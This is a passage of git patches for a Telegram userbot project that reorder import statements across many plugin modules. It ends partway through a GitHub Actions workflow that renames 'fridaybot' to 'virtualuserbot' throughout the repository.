b/virtualuserbot/modules/sql_helper/feds_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Column, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, UnicodeText class Fed(BASE): diff --git a/virtualuserbot/modules/sql_helper/filter_sql.py b/virtualuserbot/modules/sql_helper/filter_sql.py index 200b2111..04a061e6 100644 --- a/virtualuserbot/modules/sql_helper/filter_sql.py +++ b/virtualuserbot/modules/sql_helper/filter_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Column, LargeBinary, Numeric, String, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, LargeBinary, Numeric, String, UnicodeText class Filters(BASE): diff --git a/virtualuserbot/modules/sql_helper/floodsql.py b/virtualuserbot/modules/sql_helper/floodsql.py index f11fefa5..4f6d9b98 100644 --- a/virtualuserbot/modules/sql_helper/floodsql.py +++ b/virtualuserbot/modules/sql_helper/floodsql.py @@ -1,8 +1,7 @@ import threading -from sqlalchemy import Column, Integer, String - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, Integer, String DEF_COUNT = 0 DEF_LIMIT = 0 diff --git a/virtualuserbot/modules/sql_helper/locks_sql.py b/virtualuserbot/modules/sql_helper/locks_sql.py index d53bf8ab..710b36c7 100644 --- a/virtualuserbot/modules/sql_helper/locks_sql.py +++ b/virtualuserbot/modules/sql_helper/locks_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Boolean, Column, String - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Boolean, Column, String class Locks(BASE): diff --git a/virtualuserbot/modules/sql_helper/lydia_ai_sql.py b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py index ee48cb0d..8899d99c 100644 --- a/virtualuserbot/modules/sql_helper/lydia_ai_sql.py +++ b/virtualuserbot/modules/sql_helper/lydia_ai_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Column, Numeric, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, Numeric, UnicodeText class LydiaAI(BASE): diff --git a/virtualuserbot/modules/sql_helper/pmpermit_sql.py b/virtualuserbot/modules/sql_helper/pmpermit_sql.py index d856fe8c..fdf3c482 100644 --- a/virtualuserbot/modules/sql_helper/pmpermit_sql.py +++ b/virtualuserbot/modules/sql_helper/pmpermit_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Column, String - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, String class PMPermit(BASE): diff --git a/virtualuserbot/modules/sql_helper/snips_sql.py b/virtualuserbot/modules/sql_helper/snips_sql.py index 3e19cfdd..522e040c 100644 --- a/virtualuserbot/modules/sql_helper/snips_sql.py +++ b/virtualuserbot/modules/sql_helper/snips_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Column, LargeBinary, Numeric, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, LargeBinary, Numeric, UnicodeText class Snips(BASE): diff --git a/virtualuserbot/modules/sql_helper/warns_sql.py b/virtualuserbot/modules/sql_helper/warns_sql.py index f1470832..adcc4e5a 100644 --- a/virtualuserbot/modules/sql_helper/warns_sql.py +++ b/virtualuserbot/modules/sql_helper/warns_sql.py @@ -1,10 +1,9 @@ import threading +from fridaybot.modules.sql_helper import BASE, SESSION from sqlalchemy import Boolean, Column, Integer, String, UnicodeText, distinct, func from sqlalchemy.dialects import postgresql -from fridaybot.modules.sql_helper import BASE, SESSION - class Warns(BASE): __tablename__ = "warns" diff --git a/virtualuserbot/modules/sql_helper/welcome_sql.py b/virtualuserbot/modules/sql_helper/welcome_sql.py index 583c6e0d..8fa8a899 100644 --- a/virtualuserbot/modules/sql_helper/welcome_sql.py +++ b/virtualuserbot/modules/sql_helper/welcome_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import BigInteger, Boolean, Column, String, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import BigInteger, Boolean, Column, String, UnicodeText class Welcome(BASE): diff --git a/virtualuserbot/modules/sql_helper/welcomesql.py b/virtualuserbot/modules/sql_helper/welcomesql.py index 06f75da5..b2503711 100644 --- a/virtualuserbot/modules/sql_helper/welcomesql.py +++ b/virtualuserbot/modules/sql_helper/welcomesql.py @@ -1,6 +1,5 @@ -from sqlalchemy import BigInteger, Column, Numeric, String, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import BigInteger, Column, Numeric, String, UnicodeText class JoinWelcome(BASE): diff --git a/virtualuserbot/modules/ssvideo.py b/virtualuserbot/modules/ssvideo.py index ba414503..e9119688 100644 --- a/virtualuserbot/modules/ssvideo.py +++ b/virtualuserbot/modules/ssvideo.py @@ -8,11 +8,10 @@ import os import time -from telethon.tl.types import DocumentAttributeFilename - from fridaybot import CMD_HELP, bot from fridaybot.events import register from fridaybot.function import progress +from telethon.tl.types import DocumentAttributeFilename @register(outgoing=True, pattern=r"^\.ssvideo(?: |$)(.*)") diff --git a/virtualuserbot/modules/stats.py b/virtualuserbot/modules/stats.py index 3cd35331..94e1d4ad 100644 --- a/virtualuserbot/modules/stats.py +++ b/virtualuserbot/modules/stats.py @@ -1,10 +1,9 @@ from datetime import datetime +from fridaybot import CMD_HELP, bot from telethon.tl.types import Channel, Chat, User from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP, bot - @bot.on(friday_on_cmd(pattern=r"stats")) async def _(event): diff --git a/virtualuserbot/modules/steganography.py b/virtualuserbot/modules/steganography.py index 04ac89b7..5ec0bd6f 100644 --- a/virtualuserbot/modules/steganography.py +++ b/virtualuserbot/modules/steganography.py @@ -1,10 +1,9 @@ import os from cryptosteganography import CryptoSteganography -from telethon.tl.types import MessageMediaPhoto - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, sudo_cmd +from telethon.tl.types import MessageMediaPhoto sedpath = "./fridaydevs/" if not os.path.isdir(sedpath): diff --git a/virtualuserbot/modules/stickcreater.py b/virtualuserbot/modules/stickcreater.py index 261ebdf5..46b470d9 100644 --- a/virtualuserbot/modules/stickcreater.py +++ b/virtualuserbot/modules/stickcreater.py @@ -8,11 +8,10 @@ import random import textwrap -from PIL import Image, ImageDraw, ImageFont -from telethon.tl.types import InputMessagesFilterDocument - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, sudo_cmd +from PIL import Image, ImageDraw, ImageFont +from telethon.tl.types import InputMessagesFilterDocument # RegEx by https://t.me/c/1220993104/500653 ( @SnapDragon7410 ) diff --git a/virtualuserbot/modules/sticker_2.py b/virtualuserbot/modules/sticker_2.py index 3fd25718..3b70bd19 100644 --- a/virtualuserbot/modules/sticker_2.py +++ b/virtualuserbot/modules/sticker_2.py @@ -21,11 +21,10 @@ import emoji from fontTools.ttLib import TTFont +from fridaybot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon.tl import functions, types -from fridaybot.utils import friday_on_cmd - COLORS = [ "#F07975", "#F49F69", diff --git a/virtualuserbot/modules/stickers.py b/virtualuserbot/modules/stickers.py index 18a57cb0..02058b8a 100644 --- a/virtualuserbot/modules/stickers.py +++ b/virtualuserbot/modules/stickers.py @@ -10,6 +10,9 @@ import zipfile from collections import defaultdict +from fridaybot import ALIVE_NAME, CMD_HELP +from fridaybot.function import convert_to_image +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from PIL import Image from telethon.errors import MessageNotModifiedError from telethon.errors.rpcerrorlist import StickersetInvalidError @@ -21,10 +24,6 @@ MessageMediaPhoto, ) -from fridaybot import ALIVE_NAME, CMD_HELP -from fridaybot.function import convert_to_image -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - sedpath = Config.TMP_DOWNLOAD_DIRECTORY if not os.path.isdir(sedpath): os.makedirs(sedpath) diff --git a/virtualuserbot/modules/stock_price.py b/virtualuserbot/modules/stock_price.py index 80b20c1c..33ab6549 100644 --- a/virtualuserbot/modules/stock_price.py +++ b/virtualuserbot/modules/stock_price.py @@ -1,8 +1,7 @@ import requests -from yahoo_fin import stock_info as si - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd +from yahoo_fin import stock_info as si @friday.on(admin_cmd(pattern="liveprice (.*)")) diff --git a/virtualuserbot/modules/stt.py b/virtualuserbot/modules/stt.py index 5d7b702a..7714805d 100644 --- a/virtualuserbot/modules/stt.py +++ b/virtualuserbot/modules/stt.py @@ -4,7 +4,6 @@ from datetime import datetime import requests - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/study.py b/virtualuserbot/modules/study.py index d29d4b89..b95daa9b 100644 --- a/virtualuserbot/modules/study.py +++ b/virtualuserbot/modules/study.py @@ -1,11 +1,10 @@ import asyncio import datetime +from fridaybot import ALIVE_NAME from telethon import events from telethon.tl import functions, types -from fridaybot import ALIVE_NAME - from ..utils import admin_cmd global USER_night # pylint:disable=E0602 diff --git a/virtualuserbot/modules/superheroes.py b/virtualuserbot/modules/superheroes.py index f0e31975..382b13ba 100644 --- a/virtualuserbot/modules/superheroes.py +++ b/virtualuserbot/modules/superheroes.py @@ -12,7 +12,6 @@ # along with this program. If not, see . import requests - from fridaybot.Configs import Config from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/tagall.py b/virtualuserbot/modules/tagall.py index d8acbec5..a5cab9ec 100644 --- a/virtualuserbot/modules/tagall.py +++ b/virtualuserbot/modules/tagall.py @@ -1,9 +1,8 @@ # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="tagall")) diff --git a/virtualuserbot/modules/tb_button.py b/virtualuserbot/modules/tb_button.py index f8b5f280..e8191b4f 100644 --- a/virtualuserbot/modules/tb_button.py +++ b/virtualuserbot/modules/tb_button.py @@ -2,9 +2,8 @@ """ import re -from telethon import custom - from fridaybot.utils import friday_on_cmd +from telethon import custom # regex obtained from: https://github.com/PaulSonOfLars/tgbot/blob/master/tg_bot/modules/helper_funcs/string_handling.py#L23 BTN_URL_REGEX = re.compile(r"(\{([^\[]+?)\}\)") diff --git a/virtualuserbot/modules/telegraph.py b/virtualuserbot/modules/telegraph.py index 67c2b072..a7f603aa 100644 --- a/virtualuserbot/modules/telegraph.py +++ b/virtualuserbot/modules/telegraph.py @@ -5,11 +5,10 @@ import os from datetime import datetime -from PIL import Image -from telegraph import Telegraph, exceptions, upload_file - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from PIL import Image +from telegraph import Telegraph, exceptions, upload_file telegraph = Telegraph() r = telegraph.create_account(short_name=Config.TELEGRAPH_SHORT_NAME) diff --git a/virtualuserbot/modules/test.py b/virtualuserbot/modules/test.py index 559d5651..ebdbed23 100644 --- a/virtualuserbot/modules/test.py +++ b/virtualuserbot/modules/test.py @@ -1,6 +1,5 @@ -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"test")) diff --git a/virtualuserbot/modules/thumbnail.py b/virtualuserbot/modules/thumbnail.py index b46b18f2..fb15c384 100644 --- a/virtualuserbot/modules/thumbnail.py +++ b/virtualuserbot/modules/thumbnail.py @@ -7,13 +7,12 @@ import os import subprocess +from fridaybot import CMD_HELP from hachoir.metadata import extractMetadata from hachoir.parser import createParser from PIL import Image from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/tiktok.py b/virtualuserbot/modules/tiktok.py index 3adb66ed..fac87c33 100644 --- a/virtualuserbot/modules/tiktok.py +++ b/virtualuserbot/modules/tiktok.py @@ -2,9 +2,8 @@ Dont edit credits """ -from telethon.errors.rpcerrorlist import YouBlockedUserError - from fridaybot import CMD_HELP +from telethon.errors.rpcerrorlist import YouBlockedUserError from ..utils import admin_cmd diff --git a/virtualuserbot/modules/time.py b/virtualuserbot/modules/time.py index 60aed5f3..d26e0519 100644 --- a/virtualuserbot/modules/time.py +++ b/virtualuserbot/modules/time.py @@ -5,10 +5,9 @@ import os from datetime import datetime -from PIL import Image, ImageDraw, ImageFont - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from PIL import Image, ImageDraw, ImageFont FONT_FILE_TO_USE = "Fonts/digital.ttf" diff --git a/virtualuserbot/modules/toonify.py b/virtualuserbot/modules/toonify.py index 2268a0c1..6264b174 100644 --- a/virtualuserbot/modules/toonify.py +++ b/virtualuserbot/modules/toonify.py @@ -6,7 +6,6 @@ import os import requests - from fridaybot import CMD_HELP from ..utils import admin_cmd diff --git a/virtualuserbot/modules/torrentsearch.py b/virtualuserbot/modules/torrentsearch.py index 248d670b..e6283d03 100644 --- a/virtualuserbot/modules/torrentsearch.py +++ b/virtualuserbot/modules/torrentsearch.py @@ -9,7 +9,6 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup as bs - from fridaybot import CMD_HELP, pro from ..utils import admin_cmd, humanbytes diff --git a/virtualuserbot/modules/torrentz.py b/virtualuserbot/modules/torrentz.py index bb355a78..b73b6359 100644 --- a/virtualuserbot/modules/torrentz.py +++ b/virtualuserbot/modules/torrentz.py @@ -5,7 +5,6 @@ import cfscrape # https://github.com/Anorov/cloudflare-scrape import requests from bs4 import BeautifulSoup - from fridaybot import pro from ..utils import admin_cmd, humanbytes diff --git a/virtualuserbot/modules/translate.py b/virtualuserbot/modules/translate.py index 52734a40..5c53b2e1 100644 --- a/virtualuserbot/modules/translate.py +++ b/virtualuserbot/modules/translate.py @@ -4,13 +4,12 @@ .tr LangaugeCode | text to translate""" import requests +from fridaybot import CMD_HELP +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from google_trans_new import google_translator from googletrans import LANGUAGES from langdetect import detect -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - @friday.on(friday_on_cmd("tr ?(.*)")) @friday.on(sudo_cmd("tr ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/trolls.py b/virtualuserbot/modules/trolls.py index 2b00c13d..2663450e 100644 --- a/virtualuserbot/modules/trolls.py +++ b/virtualuserbot/modules/trolls.py @@ -17,14 +17,13 @@ import os import requests +from fridaybot import * +from fridaybot import CMD_HELP from PIL import Image from telegraph import exceptions, upload_file from telethon.tl.functions.messages import ImportChatInviteRequest as Get from validators.url import url -from fridaybot import * -from fridaybot import CMD_HELP - from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/tweet.py b/virtualuserbot/modules/tweet.py index 7e6c06ec..b3b08d82 100644 --- a/virtualuserbot/modules/tweet.py +++ b/virtualuserbot/modules/tweet.py @@ -3,9 +3,6 @@ import re import requests -from PIL import Image -from validators.url import url - from fridaybot import CMD_HELP, bot from fridaybot.tweet import ( bhautweet, @@ -16,6 +13,8 @@ sunnytweet, ) from fridaybot.utils import admin_cmd +from PIL import Image +from validators.url import url EMOJI_PATTERN = re.compile( "[" diff --git a/virtualuserbot/modules/typing.py b/virtualuserbot/modules/typing.py index c9ddab34..c230faba 100644 --- a/virtualuserbot/modules/typing.py +++ b/virtualuserbot/modules/typing.py @@ -3,9 +3,8 @@ # (c) Shrimadhav U K import asyncio -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="type (.*)")) diff --git a/virtualuserbot/modules/ukinti.py b/virtualuserbot/modules/ukinti.py index 1760daa2..e8957fae 100644 --- a/virtualuserbot/modules/ukinti.py +++ b/virtualuserbot/modules/ukinti.py @@ -6,6 +6,7 @@ import asyncio from time import sleep +from fridaybot import CMD_HELP from telethon.tl import functions from telethon.tl.types import ( ChannelParticipantsKicked, @@ -19,8 +20,6 @@ ) from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd(pattern="unbanall ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/ultragoogle.py b/virtualuserbot/modules/ultragoogle.py index 3084f194..769b65be 100644 --- a/virtualuserbot/modules/ultragoogle.py +++ b/virtualuserbot/modules/ultragoogle.py @@ -10,10 +10,9 @@ import requests from bs4 import BeautifulSoup -from google_images_download import google_images_download - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from google_images_download import google_images_download def progress(current, total): diff --git a/virtualuserbot/modules/undlt.py b/virtualuserbot/modules/undlt.py index 8d04deef..be64c4ba 100644 --- a/virtualuserbot/modules/undlt.py +++ b/virtualuserbot/modules/undlt.py @@ -1,8 +1,7 @@ import asyncio -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="undlt")) diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py index 534edeff..2dffbe89 100644 --- a/virtualuserbot/modules/updater.py +++ b/virtualuserbot/modules/updater.py @@ -12,11 +12,11 @@ import sys from os import environ, execle, path, remove +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd from git import Repo from git.exc import GitCommandError, InvalidGitRepositoryError, NoSuchPathError -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd from var import Var UPSTREAM_REPO_URL = Config.UPSTREAM_REPO diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index 9c45a05c..2bec4b56 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -8,15 +8,14 @@ from datetime import datetime from urllib.parse import urlparse +from fridaybot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from fridaybot.events import register +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL from telethon.tl.types import DocumentAttributeVideo -from fridaybot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from fridaybot.events import register -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" diff --git a/virtualuserbot/modules/uploadtoverysteam.py b/virtualuserbot/modules/uploadtoverysteam.py index a2153f05..9ffbfde2 100644 --- a/virtualuserbot/modules/uploadtoverysteam.py +++ b/virtualuserbot/modules/uploadtoverysteam.py @@ -12,9 +12,8 @@ import aiohttp import magic import requests -from uniborg.util import friday_on_cmd, progress - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd, progress @friday.on(friday_on_cmd(pattern="verystream ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/urbandictionary.py b/virtualuserbot/modules/urbandictionary.py index 2f4091de..1e3a36b8 100644 --- a/virtualuserbot/modules/urbandictionary.py +++ b/virtualuserbot/modules/urbandictionary.py @@ -4,7 +4,6 @@ """Urban Dictionary Syntax: .ud Query""" import urbandict - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/urlshortner.py b/virtualuserbot/modules/urlshortner.py index c86690e0..44e4cd0f 100644 --- a/virtualuserbot/modules/urlshortner.py +++ b/virtualuserbot/modules/urlshortner.py @@ -1,5 +1,4 @@ import pyshorteners - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/userinfo.py b/virtualuserbot/modules/userinfo.py index d8a993b6..abc47323 100644 --- a/virtualuserbot/modules/userinfo.py +++ b/virtualuserbot/modules/userinfo.py @@ -9,6 +9,8 @@ from re import findall, match from typing import List, Union +from fridaybot import CMD_HELP +from fridaybot.events import register from telethon.events import NewMessage from telethon.tl.custom import Message from telethon.tl.functions.channels import GetFullChannelRequest @@ -22,9 +24,6 @@ MessageEntityMentionName, ) -from fridaybot import CMD_HELP -from fridaybot.events import register - def parse_arguments(message: str, valid: List[str]) -> (dict, str): options = {} diff --git a/virtualuserbot/modules/utube.py b/virtualuserbot/modules/utube.py index 26026b8b..19d24d10 100644 --- a/virtualuserbot/modules/utube.py +++ b/virtualuserbot/modules/utube.py @@ -8,9 +8,8 @@ import asyncio import re -from telethon.errors.rpcerrorlist import YouBlockedUserError - from fridaybot import CMD_HELP, bot +from telethon.errors.rpcerrorlist import YouBlockedUserError from ..utils import admin_cmd, edit_or_reply diff --git a/virtualuserbot/modules/verysteam.py b/virtualuserbot/modules/verysteam.py index d9f07d80..7ebe00d7 100644 --- a/virtualuserbot/modules/verysteam.py +++ b/virtualuserbot/modules/verysteam.py @@ -12,9 +12,8 @@ import aiohttp import magic import requests -from uniborg.util import friday_on_cmd, progress - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd, progress @friday.on(friday_on_cmd(pattern="verystream ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/virustotal.py b/virtualuserbot/modules/virustotal.py index 1daed005..6d92beb0 100644 --- a/virtualuserbot/modules/virustotal.py +++ b/virtualuserbot/modules/virustotal.py @@ -4,11 +4,10 @@ import time import requests -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY from fridaybot.Configs import Config from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from uniborg.util import friday_on_cmd # from var import var diff --git a/virtualuserbot/modules/voice.py b/virtualuserbot/modules/voice.py index 97ab0c69..998d6f96 100644 --- a/virtualuserbot/modules/voice.py +++ b/virtualuserbot/modules/voice.py @@ -7,10 +7,9 @@ import subprocess from datetime import datetime -from gtts import gTTS - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from gtts import gTTS @friday.on(friday_on_cmd(pattern="voice (.*)")) diff --git a/virtualuserbot/modules/vsong.py b/virtualuserbot/modules/vsong.py index 5fd19142..13b9a027 100644 --- a/virtualuserbot/modules/vsong.py +++ b/virtualuserbot/modules/vsong.py @@ -10,6 +10,7 @@ import os import time +from fridaybot.utils import progress from telethon.tl.types import DocumentAttributeAudio from uniborg.util import admin_cmd from youtube_dl import YoutubeDL @@ -24,8 +25,6 @@ XAttrMetadataError, ) -from fridaybot.utils import progress - try: from youtubesearchpython import SearchVideos except: diff --git a/virtualuserbot/modules/warnbun.py b/virtualuserbot/modules/warnbun.py index 56e9b262..3044533a 100644 --- a/virtualuserbot/modules/warnbun.py +++ b/virtualuserbot/modules/warnbun.py @@ -1,7 +1,6 @@ """.admin Plugin for @UniBorg""" -from telethon.tl.types import ChannelParticipantsAdmins - from fridaybot.utils import friday_on_cmd +from telethon.tl.types import ChannelParticipantsAdmins @friday.on(friday_on_cmd("warn1")) diff --git a/virtualuserbot/modules/weather.py b/virtualuserbot/modules/weather.py index bc4543d4..f0823240 100644 --- a/virtualuserbot/modules/weather.py +++ b/virtualuserbot/modules/weather.py @@ -6,7 +6,6 @@ import time import aiohttp - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/webshot.py b/virtualuserbot/modules/webshot.py index 0922d87e..5f4bfc12 100644 --- a/virtualuserbot/modules/webshot.py +++ b/virtualuserbot/modules/webshot.py @@ -5,7 +5,6 @@ import io import requests - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/webtools.py b/virtualuserbot/modules/webtools.py index 740440da..078c2305 100644 --- a/virtualuserbot/modules/webtools.py +++ b/virtualuserbot/modules/webtools.py @@ -1,13 +1,12 @@ # @FridayoT import requests -from iplookup import iplookup -from selenium import webdriver -from youtube_search import YoutubeSearch - from fridaybot import CMD_HELP from fridaybot.function import apk_dl from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from iplookup import iplookup +from selenium import webdriver +from youtube_search import YoutubeSearch @friday.on(friday_on_cmd(pattern="wshot ?(.*)")) diff --git a/virtualuserbot/modules/weebify.py b/virtualuserbot/modules/weebify.py index 2069edd8..83250ead 100644 --- a/virtualuserbot/modules/weebify.py +++ b/virtualuserbot/modules/weebify.py @@ -4,9 +4,8 @@ Modified by :- @kirito6969 .weeb """ -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd normiefont = [ "a", diff --git a/virtualuserbot/modules/welcome.py b/virtualuserbot/modules/welcome.py index 402fbd74..548a6968 100644 --- a/virtualuserbot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,6 +1,3 @@ -from telethon import events -from telethon.utils import pack_bot_file_id - from fridaybot import CMD_HELP from fridaybot.modules.sql_helper.welcome_sql import ( add_welcome_setting, @@ -8,6 +5,8 @@ rm_welcome_setting, update_previous_welcome, ) +from telethon import events +from telethon.utils import pack_bot_file_id @bot.on(events.ChatAction()) # pylint:disable=E0602 diff --git a/virtualuserbot/modules/wikimedia.py b/virtualuserbot/modules/wikimedia.py index 3377efd5..ba2a67af 100644 --- a/virtualuserbot/modules/wikimedia.py +++ b/virtualuserbot/modules/wikimedia.py @@ -1,9 +1,8 @@ """WikiMedia.ORG Syntax: .wikimedia Query""" import requests -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="wikimedia (.*)")) diff --git a/virtualuserbot/modules/wikipedia.py b/virtualuserbot/modules/wikipedia.py index 27f4f542..1cf18a3e 100644 --- a/virtualuserbot/modules/wikipedia.py +++ b/virtualuserbot/modules/wikipedia.py @@ -4,9 +4,8 @@ """WikiPedia.ORG Syntax: .wikipedia Query""" import wikipedia -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="wikipedia (.*)")) diff --git a/virtualuserbot/modules/xkcd.py b/virtualuserbot/modules/xkcd.py index 9c50d195..e7a67cbf 100644 --- a/virtualuserbot/modules/xkcd.py +++ b/virtualuserbot/modules/xkcd.py @@ -3,9 +3,8 @@ from urllib.parse import quote import requests -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="xkcd ?(.*)")) diff --git a/virtualuserbot/modules/xnxx.py b/virtualuserbot/modules/xnxx.py index ecd8f1f1..fde892ad 100644 --- a/virtualuserbot/modules/xnxx.py +++ b/virtualuserbot/modules/xnxx.py @@ -3,11 +3,10 @@ """ +from fridaybot import pro from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import pro - from ..utils import admin_cmd if pro == "True": diff --git a/virtualuserbot/modules/ytdl.py b/virtualuserbot/modules/ytdl.py index 597432cc..26a5adb2 100644 --- a/virtualuserbot/modules/ytdl.py +++ b/virtualuserbot/modules/ytdl.py @@ -11,6 +11,7 @@ import os import time +from fridaybot import CMD_HELP from telethon.tl.types import DocumentAttributeAudio from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd from youtube_dl import YoutubeDL @@ -25,8 +26,6 @@ XAttrMetadataError, ) -from fridaybot import CMD_HELP - async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" diff --git a/virtualuserbot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py index 554de1c5..08255e7f 100644 --- a/virtualuserbot/modules/ytmusic.py +++ b/virtualuserbot/modules/ytmusic.py @@ -2,11 +2,10 @@ import os import wget -from youtubesearchpython import SearchVideos - from fridaybot import CMD_HELP from fridaybot.Configs import Config from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from youtubesearchpython import SearchVideos @friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) diff --git a/virtualuserbot/utils.py b/virtualuserbot/utils.py index 25e2ce13..a3cd59b1 100644 --- a/virtualuserbot/utils.py +++ b/virtualuserbot/utils.py @@ -4,8 +4,6 @@ import re from pathlib import Path -from telethon import events - from fridaybot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot from fridaybot.Configs import Config from fridaybot.wraptools import ( @@ -15,6 +13,8 @@ ignore_grp, ignore_pm, ) +from telethon import events + from var import Var sedprint = logging.getLogger("PLUGINS") @@ -263,9 +263,8 @@ def friday_on_cmd(pattern=None, **args): import traceback from time import gmtime, strftime -from telethon import events - from fridaybot import bot +from telethon import events def register(**args): diff --git a/virtualuserbot/wraptools/__init__.py b/virtualuserbot/wraptools/__init__.py index 4f97f0f3..67401615 100644 --- a/virtualuserbot/wraptools/__init__.py +++ b/virtualuserbot/wraptools/__init__.py @@ -15,10 +15,10 @@ import functools import re -from telethon import events - from fridaybot import bot from fridaybot.Configs import Config +from telethon import events + from var import Var From 8605f54b9147deba11fafbdfcdc49dcdd7faef3b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 22 Jan 2021 13:57:32 +0530 Subject: [PATCH 726/838] Create sed.yml --- .github/workflows/sed.yml | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 .github/workflows/sed.yml diff --git a/.github/workflows/sed.yml b/.github/workflows/sed.yml new file mode 100644 index 00000000..e89e26ed --- /dev/null +++ b/.github/workflows/sed.yml @@ -0,0 +1,21 @@ +name: Sed-replacer +on: push +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Find and Replace + uses: jacobtomlinson/gha-find-replace@master + with: + find: "fridaybot" + replace: "virtualuserbot" + - name: Pull All Updates + uses: stefanzweifel/git-auto-commit-action@v4 + with: + 